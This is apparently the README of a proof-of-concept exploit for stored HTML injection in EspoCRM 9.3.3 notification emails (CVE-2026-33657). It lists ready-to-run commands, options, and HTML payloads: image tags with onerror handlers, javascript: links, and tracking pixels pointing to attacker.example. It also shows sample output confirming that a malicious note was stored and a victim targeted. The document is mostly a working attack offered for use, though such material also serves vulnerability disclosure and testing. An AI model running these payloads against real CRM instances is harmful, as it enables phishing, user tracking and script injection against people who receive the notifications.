
EspoCRM 9.3.3 - Stored HTML Injection in Email Notifications
Authenticated proof-of-concept for stored HTML injection in EspoCRM 9.3.3 email notifications.
EspoCRM 9.3.3 renders stream-note notification emails by transforming the note body with Markdown and inserting the resulting HTML into email templates with triple braces ({{{post}}}). An authenticated user who can create a stream post and trigger a notification can store attacker-controlled HTML that is later rendered in the generated email body.
The exploit performs the attacker-controlled remote portion of the flow:
/api/v1/App/user.Note containing HTML.--mention or --target-user-id to queue a notification target.Email delivery occurs when EspoCRM's normal SendEmailNotifications job or cron processes the queued notification.
requestsNote records--mention <username> for mention email notifications, or--target-user-id <id> for targeted stream-post notificationsInstall dependency:
python3 -m pip install requests
Preferred mention-based path:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Use a custom tracking URL:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Use a fully custom HTML payload:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Target a specific user id instead of a mention:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Fingerprint only, without creating a note:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--mention Username to mention, without @
--target-user-id User id for targeted stream-post notifications
--target-user-name Display name for --target-user-id
--payload Raw HTML payload to store in the Note
--tracking-url Tracking pixel URL used by the default payload
--link-url Link URL used by the default payload
--marker Marker text prepended to the payload
--detect-only Fingerprint version only; do not create a Note
--skip-version-check Skip /api/v1/App/user before exploitation
--force Continue even if version fingerprint is not 9.3.3
--insecure Disable TLS certificate verification
A successful run creates a malicious note and confirms the notification target:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
On a vulnerable instance, the generated HTML email body preserves the injected HTML. A lab capture looks like:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
In a local EspoCRM lab, after running the exploit, trigger the notification job:
sudo -u www-data php command.php run-job SendEmailNotifications
The resulting email body should contain the injected HTML in the text/html part.
@@version, the target is likely a source-tree build. The script continues because the underlying code may still be the vulnerable 9.3.3 tag.--mention does not produce a parsed mention, check the attacker's messagePermission and mentionPermission, and confirm that the target username exists and can receive notifications.